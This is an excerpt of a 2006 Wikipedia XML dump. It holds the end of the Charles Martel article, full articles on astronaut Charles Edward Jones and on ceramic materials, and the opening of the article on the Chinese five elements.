It is vital to note that Martel's victory at Tours, and his later campaigns, prevented invasion of Europe while the unified Caliphate was able to do so.  In doing so, Martel probably preserved Christianity and [[western civilisation]] as we know it. Although it took another two generations for the Franks to drive all the Arab garrisons out of Septimania and across the Pyrenees, Charles Martel's halt of the invasion of French soil turned the tide of Islamic advances, and the unification of the Frankish kingdoms under Martel, his son Pippin the Younger, and his grandson Charlemagne created a western power which prevented the Emirate of Córdoba from expanding over the Pyrenees.  Martel, who in 732 was on the verge of excommunication, instead was recognised by the Church as its paramount defender.  [[Pope Gregory II]] wrote him more than once, asking his protection and aid [http://www.fordham.edu/halsall/source/g2-martellet.html], and he remained, till his death, fixated on stopping the Muslims.  Martel's son kept his father's promise and returned and took Narbonne by siege in [[759]], and his grandson, Charlamagne, actually established the ''Marca Hispanica'' across the Pyrenees in part of what today is Catalonia, reconquering Girona in [[785]] and Barcelona in [[801]]. This formed a permanent buffer zone against Islam, which became the basis, along with the King of Asturias, named Pelayo (718-737, who started his fight against the Moors in the mountains of [[Covadonga]], 722) and his descendants, for the Reconquista until all of the Muslims were expelled from Iberia.

===Military legacy===
In his vision of what would be necessary for him to withstand a larger force and superior technology (the Muslim horsemen had the [[stirrup]], which made the first [[knight]]s possible), he, daring not to send his few horsemen against the Islamic cavalry, trained his army to fight in a formation used by the [[Ancient Greece|ancient Greek]]s to withstand superior numbers and weapons by discipline, courage, and a willingness to die for their cause: a phalanx.  After using this infantry force by itself at Tours, he studied the foe's forces, and further adapted to them.  After 732, he began the integration of heavy cavalry, using the stirrup, and mailed armour, into his army, and trained his infantry to fight in conjunction with cavalry, a tactic which stood him in good stead during his campaigns of 736-7, especially at the Battle of Narbonne.  Martel's ability to use what he had, integrate new ideas and technology, earned him his reputation for brilliant generalship in an age generally bereft of same, and was the reason he was undefeated from 716 to his death, against a wide range of opponents, including the Muslim cavalry, at that time the world's best.   

The defeats Martel inflicted on the Muslims were absolutely vital in that the split in the Islamic world left the [[Caliphate]] unable to mount an all out attack on Europe via its Iberian stronghold after [[750]].  His ability to meet this challenge, until the Muslims self destructed, is of macrohisorical importance, and is why [[Dante]] writes of him in Heaven as one of the &quot;Defenders of the Faith.&quot;  The struggle between the [[Umayyad]]s and the [[Abbasid]]s, which came to a head during this period, left the Arabs unable to mount another massive invasion before they lost the base they needed from which to do it. The door to Europe, the Iberian emirate, was in the hands of the Umayyads, while most of the remainder of the Muslim world came under the control of the Abbasids, making an invasion of Europe a logistical impossibility while the two Muslim empires battled. There was no unified Caliphate to mount an invasion, and no foothold to launch such an invasion from.  Instead, al-Andalus (Umayyad Emirate was busy fighting off challenges from the Abbasids in Bagdad to think of invading Europe) and the Abbasid caliphate needed the foothold in Iberia which they lacked.  This put off invasion of Europe until the [[Ottoman Empire|Turkish]] conquest of the [[Balkans]] half a millennium later.

It is also interesting that the Northmen did not begin their horrific raids until after the death of Martel's grandson, Charlemagne.  They had the naval capacity to begin those raids at least three generations earlier, but chose not to challenge Martel, his son Pippin, or his grandson, Charlemagne.  This was probably fortunate for Martel, who despite his enormous gifts, would probably not have been able to beat off the Vikings in addition to the Muslims.

==Family and children==
Charles Martel married two times:
#[[Chrotrud]] or Rotrude ([[690]]-[[724]]), with children:
## Hiltrude (d. 754), married [[Odilo of Bavaria|Odilo I of Bavaria]], [[Duke of Bavaria]].
## [[Carloman, son of Charles Martel|Carloman]]
## Landres of Hesbaye, married [[Sigrand, Count of Hesbania]].
## Auda or Alane Martel, married Thierry IV, Count of Autun and Toulouse.
## [[Pippin the Younger]]
#[[Swanachild]], with child:
## [[Grifo]]
## [[Bernhard, son of Charles Martel|Bernard]] (b. ca. 700)

{{s-start}}
{{s-hou|[[Arnulfing|Arnulfing Dynasty]]||676||741}}
{{s-bef|before=[[Pepin II the Middle]]}}
{{s-ttl|title=[[List of Mayors of the Palaces|Mayor of the Palace of Austrasia]]|years=[[714]]&amp;ndash;[[741]]}}
{{s-aft|after=[[Carloman, son of Charles Martel|Carloman]]}}
{{s-bef|before=[[Ragenfrid]]}}
{{s-ttl|title=[[List of Mayors of the Palaces|Mayor of the Palace of Neustria]]|years=[[717]]&amp;ndash;[[741]]}}
{{s-aft|after=[[Pepin III the Younger]]}}
{{end}}



==External links==
*[http://www.saudiaramcoworld.com/issue/199302/the.arabs.in.occitania.htm Ian Meadows, &quot;The Arabs in Occitania&quot;]: A sketch giving the context of the conflict from the Arab point of view.
*http://www.standin.se/fifteen07a.htm  ''Poke's edition of Creasy's 15 Most Important Battles Ever Fought  '''ACCORDING TO EDWARD SHEPHERD CREASY Chapter VII. THE BATTLE OF TOURS, A.D. 732.'''

==References==
*Watson, William E., [http://www.deremilitari.org/resources/articles/watson2.htm &quot;The Battle of Tours-Poitiers Revisited&quot;], ''Providence: Studies in Western Civilization'', 2 (1993)
*Poke,[http://www.standin.se/fifteen07a.htm The Battle of Tours], from  Sir Edward Creasy, MA, ''Fifteen Decisive Battles of the World From Marathon to Waterloo''   
*Edward Gibbon, [http://print.google.com/print?id=xqfhvfOhW3EC&amp;dq=+Decline+and+Fall+of+the+Roman+Empire+and+the+battle+of+tours,&amp;oi=print&amp;pg=PA392&amp;sig=Jv43d1TFi_CI9fHPKIbtsHHsmy0&amp;prev=http://www.google.com/search%3Fhl%3Den%26lr%3D%26q%3D%2BDecline%2Band%2BFall%2Bof%2Bthe%2BRoman%2BEmpire%2Band%2Bthe%2Bbattle%2Bof%2Btours%252C%26btnG%3DSearch The Battle of Tours], ''[[Decline and Fall of the Roman Empire]]'' 
*Richard Hooker, [http://www.wsu.edu:8080/~dee/ISLAM/UMAY.HTM &quot;Civil War and the Umayyads&quot;]
*[http://www.jewishvirtuallibrary.org/jsource/History/Tours.html The Battle of Tours 732], from the &quot;[[Jewish Virtual Library]]&quot; website: A division of the [[American-Israeli Cooperative]].
*[http://www.lbdb.com/TMDisplayBattle.cfm?BID=250 Tours,Poiters], from &quot;[[Leaders and Battles Database]]&quot; online.
*Robert W. Martin, [http://militaryhistory.about.com/b/a/118230.htm &quot;The Battle of Tours is still felt today&quot;], from [[about.com]]
*Santosuosso, Anthony, ''Barbarians, Marauders, and Infidels'' ISBN 0-8133-9153-9
*[http://www.fordham.edu/halsall/source/732tours.html Medieval Sourcebook: Arabs, Franks, and the Battle of Tours, 732]
*[http://www.fordham.edu/halsall/source/732tours.html Arabs, Franks, and the Battle of Tours, 732: Three Accounts] from the [[Internet Medieval Sourcebook]]  
*[http://www.fordham.edu/halsall/source/g2-martellet.html Medieval Sourcebook: Gregory II to Charles Martel, 739] 
*Bennett, Bradsbury, Devries, Dickie and Jestice, ''Fighting Tehniques of the Medieval World''

[[Category:686 births]]
[[Category:741 deaths]]
[[Category:Frankish people]]
[[Category:Matter of France]]

[[bg:Карл Мартел]]
[[ca:Carles Martell]]
[[de:Karl Martell]]
[[es:Carlos Martel]]
[[fr:Charles Martel]]
[[it:Carlo Martello]]
[[la:Carolus Martellus]]
[[nl:Karel Martel]]
[[pt:Carlos Martel]]
[[fi:Kaarle Martel]]
[[sv:Karl Martell]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Edward Jones</title>
    <id>6456</id>
    <revision>
      <id>36578424</id>
      <timestamp>2006-01-25T01:19:49Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:U.S. Air Force officers]] → [[Category:United States Air Force officers]].  Requested change by [[User:Syrthiss|]]</comment>
      <text xml:space="preserve">Colonel '''Charles Edward''' (&quot;'''Chuck'''&quot;) '''Jones''' ([[November 8]], [[1952]] - [[September 11]], [[2001]]) was a [[computer programmer]], a [[Manned Spaceflight Engineer]], and a [[payload specialist]] for the [[Space Shuttle]].

Jones was born in [[Clinton, Indiana|Clinton]], [[Indiana]]. He entered [[NASA]]'s [[astronaut]] group in [[1982]], and was scheduled to fly on mission STS-71-B in December [[1986]], but the mission was cancelled after the [[Space Shuttle Challenger|Challenger]] Disaster in January [[1986]]. He left the space service in [[1987]].

He was killed at the age of 48 in the [[September 11, 2001 attacks|attacks of September 11, 2001]], aboard [[American Airlines Flight 11]]. He had been living as a retired [[US Air Force]] Colonel in [[Bedford, Massachusetts|Bedford]], [[Massachusetts]], at the time of his death. He was survived by his wife Jeanette.

''See also:'' [[:sep11:|Casualties of the September 11, 2001 attacks|]]

== References ==
* &quot;[http://www.space.com/news/charles_jones_010916.html Former Military Astronaut Among Hijack Victims]&quot;, an article by Robert Pearlman on the SPACE.com website, dated September 16, 2001

[[Category:1952 births|Jones, Charles Edward]]
[[Category:2001 deaths|Jones, Charles Edward]]
[[Category:American astronauts|Jones, Charles Edward]]
[[Category:Colonels|Jones, Charles Edward]]
[[Category:United States Air Force officers|Jones, Charles Edward]]</text>
    </revision>
  </page>
  <page>
    <title>Ceramic</title>
    <id>6458</id>
    <revision>
      <id>41742569</id>
      <timestamp>2006-03-01T12:25:17Z</timestamp>
      <contributor>
        <username>N.Hopton</username>
        <id>558051</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Otheruses4|1=ceramic materials|2=the fine art|3=Ceramics (art)}}

[[Image:DSCN0126.jpg|thumb|200px|right|Fixed Partial Denture, or &quot;Bridge&quot;]]

The word '''''ceramic''''' is derived from the [[Greek language|Greek]] word &amp;kappa;&amp;epsilon;&amp;rho;&amp;alpha;&amp;mu;&amp;iota;&amp;kappa;&amp;omicron;&amp;sigmaf; (''keramikos'', &quot;having to do with pottery&quot;). The term covers inorganic non-metallic materials whose formation is due to the action of heat.  Up until the 1950s or so, the most important of these were the traditional [[clay]]s, made into [[pottery]], [[brick]]s, [[tile]]s and the like, along with [[cement]]s and [[glass]]. The traditional crafts are described in the article on [[pottery]]. A [[composite material]] of ceramic and [[metal]] is known as [[cermet]].

Historically, ceramic products have been hard, porous and brittle.  The study of ceramics consists to a large extent of methods to mitigate these problems, and accentuate the strengths of the materials, as well as to offer up unusual uses for these materials.

The American Society for Testing and Materials (ASTM) defines a ceramic article as “''an article having a glazed or unglazed body of crystalline or partly crystalline structure, or of glass, which body is produced from essentially inorganic, nonmetallic substances and either is formed from a molten mass which solidifies on cooling, or is formed and simultaneously or subsequently matured by the action of the heat''.”

The word ''ceramic'' can be an adjective, and can also be used as a noun to refer to a ceramic material. ''Ceramics'' is a singular noun referring to the art of making things out of ceramic materials. In [[Commonwealth English]], ''ceramic'' can also be used as a singular noun, referring to an object made of ceramic material.

== Classifications of technical ceramics ==
Technical Ceramics can also be classified into three distinct material categories:
* [[Oxide]]s: [[Alumina]], [[zirconia]]
* Non-oxides: [[Carbide]]s, [[boride]]s, [[nitride]]s, [[silicide]]s
* [[Composite]]s: Particulate reinforced, combinations of oxides and non-oxides.

Each one of these classes can develop unique material properties

=== Examples of ceramic materials ===
*[[Barium titanate]] (often mixed with [[strontium titanate]]) displays [[ferroelectricity]], meaning that its mechanical, electrical, and thermal responses are coupled to one another and also history-dependent.  It is widely used in electromechanical [[transducer]]s, ceramic [[capacitor]]s, and [[Ferroelectric RAM|data storage]] elements. [[crystallite|Grain boundary]] conditions can create  [[positive temperature coefficient|PTC]] effects in [[heating element]]s.
*[[Bismuth strontium calcium copper oxide]], a [[high-temperature superconductor]]
*[[Boron carbide]] ([[boron|B]]&lt;sub&gt;4&lt;/sub&gt;[[carbon|C]]), which is used in some helicopter and tank [[vehicle armour|armor]].
*[[Boron_nitride]] is structurally [[isoelectronic]] to [[carbon]] and takes on similar physical forms: a [[graphite]]-like one used as a [[lubricant]], and a [[diamond]]-like one used as an abrasive.
*[[Brick]]s (mostly aluminium [[silicate]]s), used for construction.
*[[Earthenware]], which is often made from [[clay]], [[quartz]] and [[feldspar]].
*[[ferrite (magnet)|Ferrite]] ([[iron|Fe]]&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;), which is [[ferrimagnetism|ferrimagnetic]] and is used in the core of electrical [[transformer]]s and [[magnetic core memory]].
*[[Lead zirconate titanate]] is another ferroelectric material.
*[[Magnesium diboride]] ([[magnesium|Mg]][[boron|B]]&lt;sub&gt;2&lt;/sub&gt;), which is an [[unconventional superconductor]].
*[[Porcelain]], which usually contains the clay mineral [[kaolinite]].
*[[Silicon carbide]] ([[silicon|Si]][[carbon|C]]), which is used as a susceptor in microwave furnaces, a commonly used abrasive, and as a [[refraction (metallurgy)|refractory]] material.
*[[Silicon nitride]] ([[silicon|Si]]&lt;sub&gt;3&lt;/sub&gt;[[nitrogen|N]]&lt;sub&gt;4&lt;/sub&gt;), which is used as an [[abrasive]] powder.
*[[Steatite]] is used as an [[electrical insulator]].
*[[Uranium oxide]] ([[uranium|U]]O&lt;sub&gt;2&lt;/sub&gt;), used as [[nuclear fuel|fuel]] in [[nuclear reactor]]s.
*[[Yttrium barium copper oxide]] ([[yttrium|Y]][[barium|Ba]]&lt;sub&gt;2&lt;/sub&gt;[[copper|Cu]]&lt;sub&gt;3&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;7-x&lt;/sub&gt;), another high temperature [[Superconductivity|superconductor]].
*[[Zinc oxide]] ([[zinc|Zn]][[oxygen|O]]), which is a [[semiconductor]], and used in the construction of [[varistor]]s.
*[[Zirconia]], which in pure form undergoes many [[phase (matter)|phase]] changes between room temperature and practical [[sintering]] temperatures, can be chemically &quot;stabilized&quot; in several different forms.  Its high [[oxygen]] [[ion]] conductivity recommends it for use in [[fuel cell]]s.  In another variant, metastable structures can impart [[transformation toughened ceramics|transformation toughening]] for mechanical applications; most ceramic knife blades are made of this material.

== Properties of ceramics ==
=== Mechanical properties ===
Ceramic materials are usually [[ionic bond|ionic]] or [[covalent]]ly-bonded materials, and can be [[crystal]]line or [[amorphous solid|amorphous]].  A material held together by either type of bond will tend to [[Fracture#Brittle fracture|fracture]] before any [[plastic deformation]] takes place, which results in poor [[toughness]] in these materials.  Additionally, because these materials tend to be porous, the [[pore]]s and other microscopic imperfections act as [[Stress concentration|stress concentrators]], decreasing the [[toughness]] further, and reducing the [[tensile strength]].  These combine to give [[catastrophic failure]]s, as opposed to the normally much more gentle [[failure mode]]s of [[metal]]s.

These materials do show [[plasticity (physics)|plastic deformation]].  However, due to the rigid structure of the crystalline materials, there are very few available [[slip system]]s for [[dislocation]]s to move, and so they deform very slowly.  With the non-crystalline ([[glass]]y) materials, [[Viscosity|viscous]] flow is the dominant source of plastic deformation, and is also very slow.  It is therefore neglected in many applications of ceramic materials.

=== Electrical properties ===
==== Semiconductivity ====
There are a number of ceramics that are [[semiconductor]]s.  Most of these are [[transition metal]] oxides that are II-VI semiconductors, such as zinc oxide.

While there is talk of making blue [[LED]]s from [[zinc oxide]], ceramicists are most interested in the electrical properties that show grain boundary effects.

One of the most widely used of these is the [[varistor]].  These are devices that exhibit the unusual property of [[negative resistance]].  Once the voltage across the device reaches a certain threshold, there is a [[Electrical breakdown|breakdown]] of the electrical structure in the vicinity of the [[grain boundary|grain boundaries]], which results in its [[electrical resistance]] dropping from several megaohms down to a few hundred [[ohm]]s.  The major advantage of these is that they can dissipate a lot of energy, and they self reset &amp;mdash; after the voltage across the device drops below the threshold, its resistance returns to being high.  

This makes them ideal for [[Surge protector|surge-protection]] applications.  As there is control over the threshold voltage and energy tolerance, they find use in all sorts of applications.  The best demonstration of their ability can be found in [[electrical substation]]s, where they are employed to protect the infrastructure from [[lightning]] strikes.  They have rapid response, are low maintenance, and do not appreciably degrade from use, making them virtually ideal devices for this application.

Semiconducting ceramics are also employed as [[gas sensor]]s.  When various gases are passed over a polycrystalline ceramic, its electrical resistance changes.  With tuning to the possible gas mixtures, very inexpensive devices can be produced.

==== Superconductivity ====
Under some conditions, such as extremely low temperature, some ceramics exhibit [[superconductivity]].  The exact reason for this is not known, but there are two major families of superconducting ceramics.

====Ferroelectricity and subsets====
[[Piezoelectricity]], a link between electrical and mechanical response, is exhibited by a large number of ceramic materials, including the [[quartz]] [[resonator]]s used as to [[crystal oscillator|measure time]] watches and other electronics.  Such devices use both properties of piezoelectrics, using electricity to produce a mechanical motion (powering the device) and then using this mechanical motion to produce electricity (generating a signal).  The unit of time measured is the natural interval required for electricity to be converted into mechanical energy and back again.

The piezoelectric effect is generally stronger in materials that also exhibit [[pyroelectricity]], and all pyroelectric materials are also piezoelectric.  These materials can be used to interconvert between thermal, mechanical, and/or electrical energy; for instance, after synthesis in a furnace, a pyroelectric crystal allowed to cool under no applied stress generally builds up a static charge of thousands of volts.  Such materials are used in [[motion sensor]]s, where the tiny rise in temperature from a warm body entering the room is enough to produce a measurable voltage in the crystal.

In turn, pyroelectricity is seen most strongly in materials which also display the [[ferroelectric effect]], in which a stable electric dipole can be oriented or reversed by applying an electrostatic field.   Pyroelectricity is also a necessary consequence of ferroelectricity.  This can be used to store information in [[ferroelectric capacitor]]s, elements of [[ferroelectric RAM]].

The most common such materials are [[lead zirconate titanate]] and [[barium titanate]].  Aside from the uses mentioned above, their strong piezoelectric response is exploited in the design of high-frequency [[loudspeaker]]s, [[transducer]]s for [[sonar]], and actuators for [[atomic force microscope|atomic force]] and [[scanning tunneling microscope]]s.

====Positive thermal coefficient====
Increases in temperature can cause [[crystallite|grain boundaries]] to suddenly become insulating in some semiconducting ceramic materials, mostly mixtures of [[heavy metals|heavy metal]] [[titanate]]s.  The critical transition temperature can be adjusted over a wide range by variations in chemistry.  In such materials, current will pass through the material until [[joule heating]] brings it to the transition temperature, at which point the circuit will be broken and current flow will cease.  Such ceramics are used as self-controlled [[heating element]]s in, for example, the rear-window defrost circuits of most automobiles.

At the transition temperature, the material's [[dielectric]] response becomes theoretically infinite.  While a lack of temperature control would rule out any practical use of the material near its critical temperature, the dielectric effect remains exceptionally strong even at much higher temperatures.  Titanates with critical temperatures far below room temperature have become synonymous with &quot;ceramic&quot; in the context of ceramic [[capacitor]]s for just this reason.

== Processing of ceramic materials ==
Non-crystalline ceramics, being glasses, tend to be formed from melts.  The glass is shaped when either fully molten, by casting, or when in a state of toffee-like viscosity, by methods such as blowing to a mould.  If later heat-treatments cause this class to become partly crystalline, the resulting material is known as a [[glass-ceramic]].

Crystalline ceramic materials are not amenable to a great range of processing.  Methods for dealing with them tend to fall into one of two categories - either make the ceramic in the desired shape, by reaction in situ, or by forming powders into the desired shape, and then [[sintering]] to form a solid body.  A few methods use a hybrid between the two approaches.

=== In situ manufacturing ===
The most common use of this method is in the production of cement and concrete.  Here, the dehydrated powders are mixed with water.  This starts hydration reactions, which result in long, interlocking crystals forming around the aggregates.  Over time, these result in a solid ceramic.

The biggest problem with this method is that most reactions are so fast that good mixing is not possible, which tends to prevent large-scale construction.  However, small-scale systems can be made by deposition techniques, where the various materials are introduced above a substrate, and react and form the ceramic on the substrate.  This borrows techniques from the semiconductor industry, such as [[Chemical vapor deposition|chemical vapour deposition]], and is very useful for coatings.

These tend to produce very dense ceramics, but do so slowly.

=== Sintering-based methods ===
The principles of [[sintering]]-based methods is simple.  Once a roughly held together object (called a &quot;green body&quot;) is made, it is baked in a kiln, where [[diffusion]] processes cause the green body to shrink. The pores in the object close up, resulting in a denser, stronger product.  The firing is done at a temperature below the melting point of the ceramic.  There is virtually always some [[porosity]] left, but the real advantage of this method is that the green body can be produced in any way imaginable, and still be sintered.  This makes it a very versatile route. 

There are thousands of possible refinements of this process.  Some of the most common involve pressing the green body to give the densification a head start and reduce the sintering time needed.  Sometimes organic [[binder (material)|binders]] such as [[polyvinyl alcohol]] are added to hold the green body together; these burn out during the firing (at 200-350°C).  Sometimes organic [[lubricant]]s are added during pressing to increase densification.  It is not uncommon to combine these, and add binders and lubricants to a powder, then press. (The formulation of these organic chemical additives is an art in itself. This is particularly important in the manufacture of high performance ceramics such as those used by the billions for [[electronics]], in [[capacitor]]s, [[inductor]]s, [[sensor]]s, etc. The specialized formulations most commonly used in electronics are detailed in the book &quot;Tape Casting,&quot; by R.E. Mistler, et al., Amer. Ceramic Soc. [Westerville, Ohio], 2000.) A comprehensive book on the subject, for mechanical as well as electronics applications, is &quot;Organic Additives and Ceramic Processing,&quot; by D. J. Shanefield, Kluwer Publishers [Boston], 1996.

A slurry can be used in place of a powder, and then cast into a desired shape, dried and then sintered.  Indeed, traditional [[pottery]] is done with this type of method, using a plastic mixture worked with the hands.

If a mixture of different materials is used together in a ceramic, the sintering temperature is sometimes above the melting point of one minor component - a ''liquid phase'' sintering.  This results in shorter sintering times compared to solid state sintering.

== Other applications of ceramics ==
In the early 1980s, [[Toyota]] researched production of an [[adiabatic]] ceramic engine which can run at a temperature of over 6000 °F (3300 °C).  Ceramic engines do not require a cooling system and hence allow a major weight reduction and therefore greater fuel efficiency.  [[Fuel efficiency]] of the engine is also higher at high temperature.
In a conventional metallic engine, much of the energy released from the fuel must be dissipated as [[waste heat]] in order to prevent a meltdown of the metallic parts.

Despite all of these desirable properties, such engines are not in production because the manufacturing of ceramic parts in the requisite precision and durability is difficult.  Imperfection in the ceramic leads to cracks, which can lead to potentially dangerous equipment failure.  Such engines are possible in laboratory settings, but mass-production is infeasible with current technology.

Work is being done in developing ceramic parts for [[gas turbine]] [[heat engine|engines]].  Currently, even blades made of [[superalloy|advanced metal alloys]] used in the engines' hot section require cooling and careful limiting of operating temperatures.  Turbine engines made with ceramics could operate more efficiently, giving aircraft greater range and payload for a set amount of fuel.

Since the late 1990s highly specialized ceramics, usually based on [[boron carbide]], formed into plates and lined with [[Dyneema|Spectra]], have been used in [[bulletproof vest|ballistic armored vests]] to repel large-caliber [[rifle]] fire. Such plates are known commonly as [[small-arms protective insert]]s (SAPI). Very similar technology is used for armoring of [[cockpit]]s of some military airplanes, because of the low weight of the material.

Recently, there have been advances in ceramics which include bio-ceramics, such as dental implants and synthetic bones. Hydroxyapatite, the natural mineral componet of bone, has been made synthetically from a number of biological and chemical sources and can be formed into ceramic materials. Orthopedic implants made from these materials bond readily to bone and other tissues in the body without rejection or inflammatory reactions. Because of this, they are of great interest for gene delivery and tissue engineering scaffolds. Most Hydroxyapatite ceramics are very porous and lack mechanical strength and are used to coat metal orthopedic devices to aid in forming a bond to bone or as bone fillers. They are also used as fillers for orthopedic plastic screws to aid in reducing the inflammation and increase absorption of these plastic materials. Work is being done to make strong-fully dense nano crystalline Hydroxapatite ceramic materials for orthopedic weight bearing devices, replacing foreign metal and plastic orthopedic materials with a synthetic natural bone mineral. Ultimately these ceramic materials may be used as bone replacements or with the incorperation of protein collagens, synthetic bones.

==References==
ASTM Standard C 242-01 “''Standard Terminology of Ceramic Whitewares and Related Products''”


==See also==
{{Wiktionary}}
* [[Ceramics (art)]]
* [[Ceramic forming techniques]]
* [[Porcelain]]

==External links==
*[http://www.azom.com/details.asp?ArticleID=2123 Advanced Ceramics] – The Evolution, Classification, Properties, Production, Firing, Finishing and Design of Advanced Ceramics

*[http://www.ceramics-directory.com/ Ceramics Directory]  – International Ceramics Directory of Companies and Organizations



[[Category:Ceramic materials| ]]

[[bg:&amp;#1050;&amp;#1077;&amp;#1088;&amp;#1072;&amp;#1084;&amp;#1080;&amp;#1082;&amp;#1072;]]
[[ca:Ceràmica]]
[[cs:Keramica]]
[[da:Keramik]]
[[de:Keramik]]
[[el:Κεραμικά Υλικά]]
[[es:Cerámica]]
[[fi:Keraami]]
[[fr:Céramique]]
[[he:&amp;#1511;&amp;#1512;&amp;#1502;&amp;#1497;&amp;#1511;&amp;#1492;]]
[[ja:&amp;#12475;&amp;#12521;&amp;#12511;&amp;#12483;&amp;#12463;&amp;#12473;]]
[[ms:Seramik]]
[[nl:Keramiek]]
[[no:Keramikk]]
[[pl:Ceramika]]
[[pt:Cerâmica]]
[[ru:&amp;#1050;&amp;#1077;&amp;#1088;&amp;#1072;&amp;#1084;&amp;#1080;&amp;#1082;&amp;#1072;]]
[[sv:Keramik]]
[[th:เซรามิก]]
[[zh:&amp;#38518;&amp;#29943;]]</text>
    </revision>
  </page>
  <page>
    <title>Five elements (Chinese philosophy)</title>
    <id>6459</id>
    <revision>
      <id>41428151</id>
      <timestamp>2006-02-27T06:27:46Z</timestamp>
      <contributor>
        <username>TAKASUGI Shinji</username>
        <id>195496</id>
      </contributor>
      <comment>/* Correlations between the five elements and other categories */ rv the wrong fix by 87.202.28.210 (see the Chinese and Japanese versions)</comment>
      <text xml:space="preserve">{{Classic element}}
In traditional [[Chinese philosophy]], natural phenomena can be classified into the '''Five Elements''' ({{zh-cp|c=&amp;#20116;&amp;#34892;|p=w&amp;#468;x&amp;iacute;ng}}):
[[wood (classical element)|wood]],
[[fire (classical element)|fire]],
[[earth (classical element)|earth]],
[[metal (classical element)|metal]], and
[[water (classical element)|water]]
(&amp;#26408;, &amp;#28779;, &amp;#22303;, &amp;#37329;, &amp;#27700;; m&amp;ugrave;, hu&amp;#466;, t&amp;#468;, j&amp;#299;n, sh&amp;#468;i).  These elements were used for describing interactions and relationships between phenomena. '''Five phases''' is another way of translating ''w&amp;#468;xíng'' &amp;#8212; literally, &quot;five goings&quot;. Traditional [[Taijiquan]] schools relate them to footwork and refer to them as five &quot;steps&quot;.

The doctrine of five phases describes both a generating (&amp;#29983;, ''sh&amp;#275;ng'') cycle and an overcoming or restraining (&amp;#20811;, ''kè'') cycle of interactions between the phases.  In the generating cycle, wood generates fire; fire generates earth; earth generates metal; metal generates water; water generates wood.  In the overcoming cycle, wood overcomes earth; earth overcomes water; water overcomes fire; fire overcomes metal; metal overcomes wood.&lt;br&gt;
[[Image:Interactions of Five Chinese Elements.png|350px]]
&lt;br&gt;The doctrine of five phases was employed in many fields of early Chinese philosophy, including seemingly disparate fields such as [[music]], [[traditional Chinese medicine]], and [[military strategy]].

== Correlations between the five elements and other categories ==

The ''Yu&amp;egrave;l&amp;igrave;ng'' chapter (&amp;#26376;&amp;#20196;&amp;#31687;) of the ''L&amp;#464;j&amp;igrave;'' (&amp;#31150;&amp;#35352;) and the ''Hu&amp;aacute;in&amp;aacute;nz&amp;#464;'' (&amp;#28142;&amp;#21335;&amp;#23376;) make the following correlations:

{| class=&quot;prettytable&quot;
|-
! [[Element]]
! [[cardinal directions|Direction]]
! [[Color]]
! [[Pentatonic scale|Musical Note]]
|-
| '''[[Wood]]'''
| [[east]]
| [[green]] or [[blue]]
| ''jué'' &amp;#35282; (mi)
|-
| '''[[Fire]]'''
| [[south]]
| [[red]]
| ''zh&amp;#464;'' &amp;#24501; (sol)
|-
| '''[[Soil|Earth]]'''
| [[center]]
| [[yellow]]
| ''g&amp;#333;ng'' &amp;#23470; (do)
|-
| '''[[Metal]]'''
| [[west]]
| [[white]]
| ''sh&amp;#257;ng'' &amp;#21830; (re)
|-
| '''[[Water]]'''
| [[north]]
| [[black]]
| ''y&amp;#468;'' &amp;#32701; (la)
|-
|}

(see also [[pentatonic scale]])

(note: The Chinese word &amp;#38738;includes the range in the spectrum from green to blue, with shades down to black.)

Some other correspondences are shown below:

{| class=&quot;prettytable&quot;
|-
! [[Element]]
! [[Chinese constellation|Heavenly creature]]
! [[Season]]
! [[cardinal directions|Direction]]
! [[Planet]]
! [[Taste]]s
! [[Sense]]
! [[Viscera]] ([[yin and yang|yin]])
! [[Viscera]] ([[yin and yang|yang]])
! [[Finger]]
|-
| '''[[Wood]]'''
| Q&amp;#299;ng-lóng (&amp;#38738;&amp;#40845;)&lt;br&gt;the Green Dragon
| [[Spring (season)|Spring]]
| [[east]]
| [[Jupiter]]
| [[sour]]
| [[sight]]
| [[liver]]
| [[gall bladder]]
| [[ring finger]]
|-
| '''[[Fire]]'''
| Zh&amp;#363;-què (&amp;#26417;&amp;#38592;)&lt;br&gt;the Red Phoenix
| [[Summer]]
| [[south]]
| [[Mars]]
| [[bitter]]
| [[sound]]
| [[heart]]
| [[small intestine]]
| [[middle finger]]
|-
| '''[[Soil|Earth]]'''
| Huáng-lóng (&amp;#40643;&amp;#40845;)&lt;sup&gt;*&lt;/sup&gt;&lt;br&gt;the Yellow Dragon
| Change of seasons&lt;br&gt;(four times a year)
| [[center]]
| [[Saturn]]
| [[sweet]]
| [[smell]]
| [[spleen]]/[[pancreas]]
| [[stomach]]
| [[index finger]]
|-
| '''[[Metal]]'''
| Bái-h&amp;#468; (&amp;#30333;&amp;#34382;)&lt;br&gt;the White Tiger
| [[Autumn]]
| [[west]]
| [[Venus]]
| [[hot]]
| [[taste]]
| [[lung]]
| [[large intestine]]
| [[thumb]]
|-
| '''[[Water]]'''
| Xuán-w&amp;#468; (&amp;#29572;&amp;#27494;)&lt;br&gt;the Black Tortoise-Serpent
| [[Winter]]
| [[north]]
| [[Mercury (planet)|Mercury]]
| [[salty]]
| [[touch]]
| [[kidney]]
| [[urinary bladder]]
| [[little finger]]
|-
|}
&lt;sup&gt;*&lt;/sup&gt; [[Qilin|Qí-lín]] (麒麟) was also associated later.

The elements have also been correlated to the eight [[Bagua (concept)|trigrams]] of the [[I Ching]]:
{| class=&quot;prettytable&quot;
|-
! Element
! I Ching
! Trigrams
|-
| Wood
| Wind, thunder
| &lt;nowiki&gt;:||&lt;/nowiki&gt; (&amp;#9780; &amp;#24061; ''xùn'') &lt;nowiki&gt;|::&lt;/nowiki&gt; (&amp;#9779; &amp;#38663; ''zhèn'')
|-
| Fire
| Fire
| &lt;nowiki&gt;|:|&lt;/nowiki&gt; (&amp;#9778; &amp;#38626; ''lí'')
|-
| Earth
| Earth, mountain
| &lt;nowiki&gt;:::&lt;/nowiki&gt; (&amp;#9783; &amp;#22372; ''k&amp;#363;n'') &lt;nowiki&gt;::|&lt;/nowiki&gt; (&amp;#9782; &amp;#33390; ''gèn'')
|-
| Metal
| Sky, lake
